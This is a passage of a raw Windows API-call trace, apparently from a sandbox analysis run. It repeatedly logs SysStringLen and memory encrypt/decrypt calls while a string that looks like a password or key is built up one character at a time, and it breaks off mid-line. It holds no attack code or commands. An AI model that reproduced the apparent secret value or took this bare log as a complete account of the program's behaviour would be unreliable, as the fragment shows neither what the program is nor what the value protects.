(param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x12f4\x3b7b\x356d\x8e1f\x2401\x69da\x9de9\xc959") returned 0x18 [0133.801] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.801] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx") returned 0x18 [0133.801] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.801] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\xd043\x82\xcac4\xab43\x226f\x6277\x9fb4\x97b3") returned 0x18 [0133.801] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\xd043\x82\xcac4\xab43\x226f\x6277\x9fb4\x97b3") returned 0x18 [0133.801] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.801] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx3") returned 0x18 [0133.801] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.801] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\xddd9\xdeb8\x6865\x181c\xc133\xed90\xed46\x945b") returned 0x18 [0133.801] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\xddd9\xdeb8\x6865\x181c\xc133\xed90\xed46\x945b") returned 0x18 [0133.801] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.802] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38") returned 0x18 [0133.802] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.802] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\xcb85\x7bc1\xb96b\xa70\xc15\xbf79\xfefa\x58cf") returned 0x18 [0133.802] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\xcb85\x7bc1\xb96b\xa70\xc15\xbf79\xfefa\x58cf") returned 0x18 [0133.802] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.802] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38G") returned 0x18 [0133.802] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.803] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\xfd23\x9578\x8615\x40af\xeca5\x322e\x9166\x9bfe") returned 0x18 [0133.803] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\xfd23\x9578\x8615\x40af\xeca5\x322e\x9166\x9bfe") returned 0x18 [0133.803] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.803] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gk") returned 0x18 [0133.803] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.803] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2") returned 0x18 [0133.804] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2") returned 0x18 [0133.804] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2") returned 0x18 [0133.804] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2") returned 0x20 [0133.804] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.804] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkm鲐郻겜ꆄ≚ﰏ") returned 0x20 [0133.804] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.804] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\x2239\xcfd1\xe3da\xb0b9\x6bda\x50c9\x7722\x4267") returned 0x20 [0133.804] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\x2239\xcfd1\xe3da\xb0b9\x6bda\x50c9\x7722\x4267") returned 0x20 [0133.804] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.804] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh郻겜ꆄ≚ﰏ") returned 0x20 [0133.804] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.804] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\x7fc9\x3889\xbae8\x3af5\xee39\xeb35\xb3c2\xb41") returned 0x20 [0133.804] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\x7fc9\x3889\xbae8\x3af5\xee39\xeb35\xb3c2\xb41") returned 0x20 [0133.804] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.804] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6겜ꆄ≚ﰏ") returned 0x20 [0133.804] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.804] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\x7212\x867f\xbbcf\x6552\xf77\x6909\xb5e3\xfa7b") returned 0x20 [0133.804] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\x7212\x867f\xbbcf\x6552\xf77\x6909\xb5e3\xfa7b") returned 0x20 [0133.805] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.805] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6Tꆄ≚ﰏ") returned 0x20 [0133.805] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.805] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xef7e\xbbf2\x39c7\x89ee\x4bac\xc1c2\x69dd\x73ed") returned 0x20 [0133.805] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xef7e\xbbf2\x39c7\x89ee\x4bac\xc1c2\x69dd\x73ed") returned 0x20 [0133.805] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.805] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TF≚ﰏ") returned 0x20 [0133.805] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.805] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\x519b\xdb0d\x1e3f\xd147\xdd28\x44cc\x8ba9\xff36") returned 0x20 [0133.805] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\x519b\xdb0d\x1e3f\xd147\xdd28\x44cc\x8ba9\xff36") returned 0x20 [0133.805] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.805] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiﰏ") returned 0x20 [0133.805] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.805] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\x6aba\x2ec7\x37c3\xae6c\x8e20\x95e9\x8e65\xd3bc") returned 0x20 [0133.805] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\x6aba\x2ec7\x37c3\xae6c\x8e20\x95e9\x8e65\xd3bc") returned 0x20 [0133.805] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.805] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiE") returned 0x20 [0133.805] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.806] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\x8749\xf331\x9fb3\x36c9\x939e\x83b2\xd398\xfc66") returned 0x20 [0133.806] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\x8749\xf331\x9fb3\x36c9\x939e\x83b2\xd398\xfc66") returned 0x20 [0133.806] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.806] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiEO") returned 0x20 [0133.806] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.806] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303") returned 0x20 [0133.806] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303") returned 0x20 [0133.806] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303") returned 0x20 [0133.806] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303") returned 0x28 [0133.806] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.806] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiEO0䝭碇粳롖汢㏐") returned 0x28 [0133.806] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.806] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\x55b6\x32a4\xe1f3\xa76c\xefd8\x56af\xc153\x66cc") returned 0x28 [0133.806] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\x55b6\x32a4\xe1f3\xa76c\xefd8\x56af\xc153\x66cc") returned 0x28 [0133.806] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.806] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiEO0u䝭碇粳롖汢㏐") returned 0x28 [0133.806] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.807] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\x4bcb\x6b1c\xe2c0\x32f\xe5f9\x7e21\xca09\x899d") returned 0x28 [0133.807] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\x4bcb\x6b1c\xe2c0\x32f\xe5f9\x7e21\xca09\x899d") returned 0x28 [0133.807] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.807] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiEO0uF碇粳롖汢㏐") returned 0x28 [0133.807] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.807] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\x2791\x1cb2\x457d\x253f\xddea\x5267\x67d7\xb3f5") returned 0x28 [0133.807] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\x2791\x1cb2\x457d\x253f\xddea\x5267\x67d7\xb3f5") returned 0x28 [0133.807] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.807] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiEO0uFE粳롖汢㏐") returned 0x28 [0133.807] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.807] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xe9a2\xaacf\x65b7\xd71\x9d41\x967\x4afe\x2ba9") returned 0x28 [0133.807] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xe9a2\xaacf\x65b7\xd71\x9d41\x967\x4afe\x2ba9") returned 0x28 [0133.807] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.807] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiEO0uFEX롖汢㏐") returned 0x28 [0133.807] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.807] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xe72e\xaa51\x31eb\xd517\xe703\x8b8f\x2d13\xb8ce") returned 0x28 [0133.807] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xe72e\xaa51\x31eb\xd517\xe703\x8b8f\x2d13\xb8ce") returned 0x28 [0133.807] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.808] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiEO0uFEXo汢㏐") returned 0x28 [0133.808] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.808] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\x3e53\x9df2\x8f63\x7cef\xc357\x8b0d\x150e\xdd0d") returned 0x28 [0133.808] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\x3e53\x9df2\x8f63\x7cef\xc357\x8b0d\x150e\xdd0d") returned 0x28 [0133.808] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.808] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiEO0uFEXoK㏐") returned 0x28 [0133.808] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.808] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xc4fc\x3ba3\x259c\xcbe9\xb67e\x7a1c\x9814\xc20f") returned 0x28 [0133.808] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xc4fc\x3ba3\x259c\xcbe9\xb67e\x7a1c\x9814\xc20f") returned 0x28 [0133.808] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.808] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiEO0uFEXoKk") returned 0x28 [0133.808] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.808] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xd185\x1561\x7ebe\x11c6\x17fd\xcf7a\x88b\x3822") returned 0x28 [0133.809] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xd185\x1561\x7ebe\x11c6\x17fd\xcf7a\x88b\x3822") returned 0x28 [0133.809] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xd185\x1561\x7ebe\x11c6\x17fd\xcf7a\x88b\x3822") returned 0x28 [0133.809] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xd185\x1561\x7ebe\x11c6\x17fd\xcf7a\x88b\x3822") returned 0x30 [0133.809] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0133.809] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiEO0uFEXoKkvᕋ෶Ⴠ팽䵰ࣱ") returned 0x30 [0133.809] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0133.809] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xd185\x1561\x7ebe\x11c6\x17fd\xcf7a\x88b\x3822\x2fdb\x3af1\xcf90\xf701\xe44e\x8b45\x2a9f\xc3ca") returned 0x30 [0133.809] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xd185\x1561\x7ebe\x11c6\x17fd\xcf7a\x88b\x3822\x2fdb\x3af1\xcf90\xf701\xe44e\x8b45\x2a9f\xc3ca") returned 0x30 [0133.809] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0133.809] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiEO0uFEXoKkv6෶Ⴠ팽䵰ࣱ") returned 0x30 [0133.809] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0133.809] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xd185\x1561\x7ebe\x11c6\x17fd\xcf7a\x88b\x3822\x5c5\xd2ca\x6ec0\xcf4d\x26a3\xffbd\x4b84\x33fc") returned 0x30 [0133.809] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xd185\x1561\x7ebe\x11c6\x17fd\xcf7a\x88b\x3822\x5c5\xd2ca\x6ec0\xcf4d\x26a3\xffbd\x4b84\x33fc") returned 0x30 [0133.809] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0133.809] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiEO0uFEXoKkv6EჀ팽䵰ࣱ") returned 0x30 [0133.809] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0133.810] SysStringLen 